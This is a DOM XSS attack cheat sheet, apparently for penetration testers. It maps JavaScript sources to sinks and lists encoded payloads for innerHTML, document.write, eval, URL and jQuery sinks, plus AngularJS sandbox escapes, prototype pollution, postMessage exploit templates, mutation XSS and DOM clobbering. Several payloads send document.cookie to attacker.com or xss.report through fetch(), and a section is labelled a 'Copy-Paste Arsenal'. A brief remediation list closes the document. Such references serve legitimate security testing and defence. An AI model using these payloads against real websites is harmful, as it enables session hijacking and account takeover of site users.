DOM XSS: Source-to-Sink Tracing & Encoding Bypass
Severity: High | CWE: CWE-79 | OWASP: A03:2021 Reference: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Why DOM XSS Evades Server-Side Sanitization
The payload never reaches the server. It goes from a URL source (e.g., location.hash) directly to a dangerous sink (e.g., innerHTML) entirely in browser JavaScript. Server-side sanitization, WAFs inspecting HTTP traffic, and traditional scanners all miss it.
The attack surface is the JavaScript code itself — you must read it.
Sources and Sinks Reference
Sources (where attacker data enters)
location // full URL object
location.href // https://target.com/page?q=X#frag
location.search // ?q=X
location.hash // #frag (most common — not sent to server!)
location.pathname // /page/X
document.URL
document.documentURI
document.referrer // controlled via Referer header
window.name // persists across navigations!
localStorage.getItem('key')
sessionStorage.getItem('key')
// postMessage:
window.addEventListener('message', e => sink(e.data))
// Network (if attacker influences API response):
fetch('/api').then(r=>r.json()).then(d=>sink(d.field))
Sinks (where execution happens)
// ── CRITICAL — direct XSS ──────────────────────────────
element.innerHTML = X // most common DOM XSS sink
element.outerHTML = X
document.write(X)
document.writeln(X)
element.insertAdjacentHTML('beforeend', X)
// ── URL-based execution ────────────────────────────────
location = X // open javascript: URL
location.href = X
location.replace(X)
location.assign(X)
window.open(X)
element.src = X // script/iframe src
element.action = X // form action
// ── Code execution ─────────────────────────────────────
eval(X)
setTimeout(X, 0) // string form only!
setInterval(X, 0)
new Function(X)()
ScriptElement.text = X
// ── jQuery sinks ───────────────────────────────────────
$(X) // if X is HTML string
$().html(X)
$().append(X) / prepend / after / before
$().replaceWith(X)
$.parseHTML(X)
$.globalEval(X)
$(el).attr('href', X) // when set to javascript:
Discovery Checklist
- Download all JS files:
curl -s https://target.com | grep -oE 'src="[^"]+\.js"' | xargs... - Grep for sources:
grep -rn "location\.hash\|location\.search\|window\.name\|document\.referrer" - Grep for sinks:
grep -rn "innerHTML\|document\.write\|eval(\|insertAdjacentHTML\|setTimeout(" - Grep for jQuery:
grep -rn "\.html(\|\.append(\|\.prepend(\|parseHTML\|\$(" - Find postMessage handlers:
grep -rn "addEventListener.*message" - Open Burp browser → enable DOM Invader → browse app → view sources/sinks map
- Test hash injection:
https://target.com/page#<img src=x onerror=alert(1)> - Test search:
?q=<img src=x onerror=alert(1)>and view source, watch Elements tab - DevTools: add breakpoints on
innerHTMLsetter to trace execution
Payload Table — All Encoding Variants by Sink
Sink: innerHTML / outerHTML — Hash-Based
[RAW — paste into URL fragment]
https://target.com/page#<img src=x onerror=alert(1)>
https://target.com/page#<svg onload=alert(1)>
https://target.com/page#<details open ontoggle=alert(1)>
https://target.com/page#<img src=x onerror=alert(document.domain)>
https://target.com/page#<img src=x onerror=alert(document.cookie)>
[URL ENCODED — if app decodeURIComponent before innerHTML]
https://target.com/page#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
https://target.com/page#%3Csvg%20onload%3Dalert(1)%3E
https://target.com/page#%3Cdetails%20open%20ontoggle%3Dalert(1)%3E
[DOUBLE URL ENCODED — if app decodes twice]
https://target.com/page#%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
https://target.com/page#%253Csvg%2520onload%253Dalert(1)%253E
[HTML ENTITY — if sink goes through another HTML parse step]
https://target.com/page#<img src=x onerror=alert(1)>
https://target.com/page#<img src=1 onerror=confirm(1)>
[EVENT HANDLER VALUE — HTML entity encoded]
https://target.com/page#<img src=x onerror="alert(1)">
https://target.com/page#<img src=x onerror="alert(1)">
https://target.com/page#<svg onload="alert(1)">
[BASE64 EVAL — survives event keyword filters]
https://target.com/page#<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
https://target.com/page#<img src=x onerror="eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))">
[UNICODE + HEX ESCAPE in event]
https://target.com/page#<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
https://target.com/page#<svg onload="\x61\x6c\x65\x72\x74(1)">
[FROMCHARCODE]
https://target.com/page#<img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
Sink: document.write() — Search Param
// Code: document.write('<input value="' + location.search.slice(1) + '">')
[BREAK OUT OF ATTRIBUTE]
?"><img src=x onerror=alert(1)>
?"><svg onload=alert(1)>
?"><script>alert(1)</script>
[URL ENCODED]
?%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
?%22%3E%3Csvg%20onload%3Dalert(1)%3E
[HTML ENTITY — if app HTML-decodes search before write]
?"><img src=x onerror=alert(1)>
// Code: document.write('<script>var q="' + location.search + '"</script>')
?";alert(1)//
?"-alert(1)-"
?</script><img src=x onerror=alert(1)>
?%22%3B%61%6c%65%72%74(1)%2F%2F
Sink: eval() / setTimeout() — Code String
// Code: eval(location.hash.slice(1))
[RAW]
#alert(1)
#confirm(1)
#alert(document.domain)
#fetch('https://attacker.com/?c='+document.cookie)
[PARENTHESES BLOCKED — backtick]
#alert`1`
#confirm`document.domain`
[KEYWORD BLOCKED — concat]
#eval('ale'+'rt(1)')
#(window['al'+'ert'])(1)
[FULL ENCODING — unicode escape]
#\u0061\u006c\u0065\u0072\u0074(1)
#\u{61}lert(1)
[HEX ESCAPE]
#\x61\x6c\x65\x72\x74(1)
[BASE64 decoded eval]
#eval(atob('YWxlcnQoMSk='))
#eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))
[FROMCHARCODE]
#eval(String.fromCharCode(97,108,101,114,116,40,49,41))
Sink: location.href / URL Sink
// Code: location.href = userControlledValue
[RAW]
javascript:alert(1)
javascript:alert(document.cookie)
[CASE VARIATION]
JavaScript:alert(1)
JAVASCRIPT:alert(1)
JaVaScRiPt:alert(1)
[HTML ENTITY — colon]
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
[FULL ENTITY]
javascript:alert(1)
javascript:alert(1)
[WHITESPACE IN SCHEME]
java script:alert(1) ← TAB (0x09)
java%09script:alert(1)
java%0ascript:alert(1)
java%0dscript:alert(1)
[URL ENCODED]
javascript%3Aalert(1)
%6Aavascript:alert(1)
%6a%61%76%61%73%63%72%69%70%74%3aalert(1)
[DOUBLE URL ENCODED]
javascript%253Aalert(1)
%256Aavascript%253Aalert(1)
Sink: jQuery $() / .html()
// Code: $(location.hash) — jQuery parses HTML if starts with <
[RAW — note leading space forces HTML parse not selector]
# <img src=x onerror=alert(1)>
# <svg onload=alert(1)>
[URL ENCODED]
#%20%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
#%20%3Csvg%20onload%3Dalert(1)%3E
// Code: $('body').html(location.search.slice(1))
?<img src=x onerror=alert(1)>
?<svg onload=alert(1)>
?%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
AngularJS Client-Side Template Injection
Detection
Inject: {{7*7}} — if page shows 49 → AngularJS expression evaluation confirmed
Payloads by AngularJS Version
[ANY VERSION — basic test]
{{7*7}}
{{constructor.constructor('alert(1)')()}}
[v1.0.x – 1.1.x]
{{constructor.constructor('alert(1)')()}}
{{{}+{}}}
[v1.2.x]
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
[v1.3.x]
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
[v1.4.x]
{{'a'.constructor.prototype.charAt=[].join;$eval("x=alert(1)");}}
[v1.5.x]
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
[v1.6+ — sandbox removed]
{{$eval.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}
{{constructor.constructor('alert(document.cookie)')()}}
[HTML ENTITY ENCODED — for context where {{ is rendered through HTML]
{{constructor.constructor('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
[URL ENCODED — if in URL parameter]
?q=%7B%7Bconstructor.constructor(%27alert(1)%27)()%7D%7D
?q=%7B%7B$eval.constructor('alert(1)')()%7D%7D
CSP Bypass via AngularJS (script-src includes Angular CDN)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.7.8/angular.js"></script>
<div ng-app>{{$eval.constructor('alert(1)')()}}</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.min.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
Prototype Pollution → DOM XSS
Pollution via URL
?__proto__[innerHTML]=<img src=x onerror=alert(1)>
?__proto__[src]=//attacker.com/script.js
?constructor[prototype][innerHTML]=<img src=x onerror=alert(1)>
?__proto__[onload]=alert(1)
?__proto__[template]=<img src=x onerror=alert(1)>
[URL ENCODED]
?__proto__%5BinnerHTML%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
?constructor%5Bprototype%5D%5BinnerHTML%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
[DOUBLE URL ENCODED]
?__proto__%255BinnerHTML%255D=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
Pollution via JSON Body
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
{"constructor": {"prototype": {"template": "<img src=x onerror=alert(1)>"}}}
{"__proto__": {"src": "//attacker.com/script.js"}}
postMessage DOM XSS
Exploit Template
<!-- Host on attacker.com and send link to victim: -->
<iframe id="t" src="https://target.com/page"></iframe>
<script>
window.onload = function() {
document.getElementById('t').contentWindow.postMessage(
'<img src=x onerror=alert(document.domain)>',
'*'
);
}
</script>
[ENCODED PAYLOAD via postMessage]
document.getElementById('t').contentWindow.postMessage(
'<img src=x onerror=alert(1)>',
'*'
);
document.getElementById('t').contentWindow.postMessage(
'<img src=x onerror="eval(atob(\'YWxlcnQoMSk=\'))">',
'*'
);
Origin Check Bypasses
// Vulnerable: e.origin.indexOf('trusted.com') >= 0
// Bypass: https://trusted.com.attacker.com (contains 'trusted.com')
// Bypass: https://attacker.com?x=trusted.com
// Vulnerable: e.origin.startsWith('https://trusted.com')
// Bypass: https://trusted.com.attacker.com
// Vulnerable: e.origin.includes('trusted')
// Bypass: any domain with 'trusted' substring
// Correct: e.origin === 'https://trusted.com'
window.name Persistence Attack
<!-- On attacker.com — set window.name then redirect to target: -->
<script>
window.name = '<img src=x onerror=alert(document.cookie)>';
window.location = 'https://target.com/page-using-window-name';
</script>
<!-- Encoded window.name value: -->
<script>
window.name = '<img src=x onerror="fetch(\'https://attacker.com/?c=\'+document.cookie)">';
window.location = 'https://target.com/vulnerable-page';
</script>
<!-- Base64 via window.name: -->
<script>
window.name = 'eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))';
window.location = 'https://target.com/page-with-eval-sink';
</script>
Quick Payload Reference — Copy-Paste Arsenal
<!-- HTML Entity Encoding -->
<script>alert(1)</script>
" onerror="fetch('https://xss.report/c/blitz')"
<img src="x" alt="" onerror="fetch('https://xss.report/c/blitz')"" />
<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C/script%3E
<!-- Unicode Escape (directly usable in eval/setTimeout sinks) -->
\u003Cscript\u003Ealert(1)\u003C/script\u003E
<!-- Dynamic Concatenation -->
<scr + ipt>alert(1)</scr + ipt>
<!-- Spaces in tag -->
<scr ipt>alert(1)</scr ipt>
<!-- SVG wrapper -->
<svg><script>alert(1)</script></svg>
<!-- JS event reassignment -->
<img src="x" onerror="this.src='javascript:alert(1)'">
<!-- Inline focus -->
<input value="XSS" onfocus="alert('XSS')">
<!-- CSS Expression -->
<div style="width:expression(alert(1));">Test</div>
<!-- Body onload -->
<body onload="alert('XSS')">
Mutation XSS (mXSS) — Sanitized → Re-Parsed → Malicious
[NAMESPACE CONFUSION — math/SVG]
<math><mtext></table><mglyph><svg><mtext></table><mglyph><style></math><img src onerror=alert(1)>
<math><mtext></table><mglyph><style></math><img src onerror=alert(1)>
[SVG CDATA]
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><script>//<![CDATA[
alert(1)
//]]></script></svg>
[TEMPLATE ELEMENT MUTATION]
<template><div></template><img src=x onerror=alert(1)>
[COMMENT DIFFERENTIAL]
<p id="</p><img src=x onerror=alert(1)>">
[SELECT TEMPLATE — shadow DOM]
<select><template shadowrootmode=open><img src=x onerror=alert(1)></template></select>
[TABLE MUTATION]
<table><td><table></td><script>alert(1)</script></table></table>
DOM Clobbering
When attacker can inject HTML but not scripts — clobber JS variables to reach existing dangerous code paths.
[CLOBBER single-level variable 'config']
<a id="config" href="javascript:alert(1)"></a>
<!-- window.config now has a .href property of 'javascript:alert(1)' -->
[CLOBBER two-level 'config.url']
<form id="config"><input id="url" value="javascript:alert(1)"></form>
[HTMLCOLLECTION — two same-id elements create array-like]
<a id="config"></a>
<a id="config" name="url" href="javascript:alert(1)"></a>
<!-- window.config.url → 'javascript:alert(1)' -->
[ENCODED — if injection point encodes angle brackets except in some attributes]
<a id="config" href="javascript:alert(1)"></a>
<a id="config" href="javascript:alert(1)"></a>
Tools
# DOM Invader (Burp Suite embedded browser):
# Settings → DOM Invader → Enable
# Automatically maps: sources → sinks, generates PoC
# https://portswigger.net/burp/documentation/desktop/tools/dom-invader
# PortSwigger XSS Cheat Sheet:
# https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
# JSluice — finds URL patterns and sink calls in JS:
go install github.com/BishopFox/jsluice/cmd/jsluice@latest
jsluice urls target.js
jsluice secrets target.js
# grep for sources + sinks:
grep -rn "location\.hash\|location\.search\|window\.name\|document\.referrer" js/
grep -rn "innerHTML\|outerHTML\|document\.write\|eval(\|setTimeout(\|insertAdjacentHTML" js/
grep -rn "addEventListener.*message\|postMessage" js/
# Chrome DevTools — monitor innerHTML:
Object.defineProperty(Element.prototype,'innerHTML',{
set: function(v){console.trace('innerHTML:',v); this.insertAdjacentHTML('beforeend',v);}
});
# retire.js — find outdated Angular/jQuery:
npm install -g retire && retire --path ./js/
# Prototype pollution scanner:
# https://github.com/BlackFan/client-side-prototype-pollution
Remediation Reference
textContentnotinnerHTMLfor inserting text — never use innerHTML with untrusted datapostMessageorigin: alwayse.origin === 'https://exact.com'— neverindexOforstartsWith- Trusted Types API:
require-trusted-types-for 'script'in CSP — forces all sink assignments through policies - Avoid
eval(),setTimeout(string),new Function(string) - DOMPurify before
innerHTML:el.innerHTML = DOMPurify.sanitize(source)
PortSwigger XSS Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet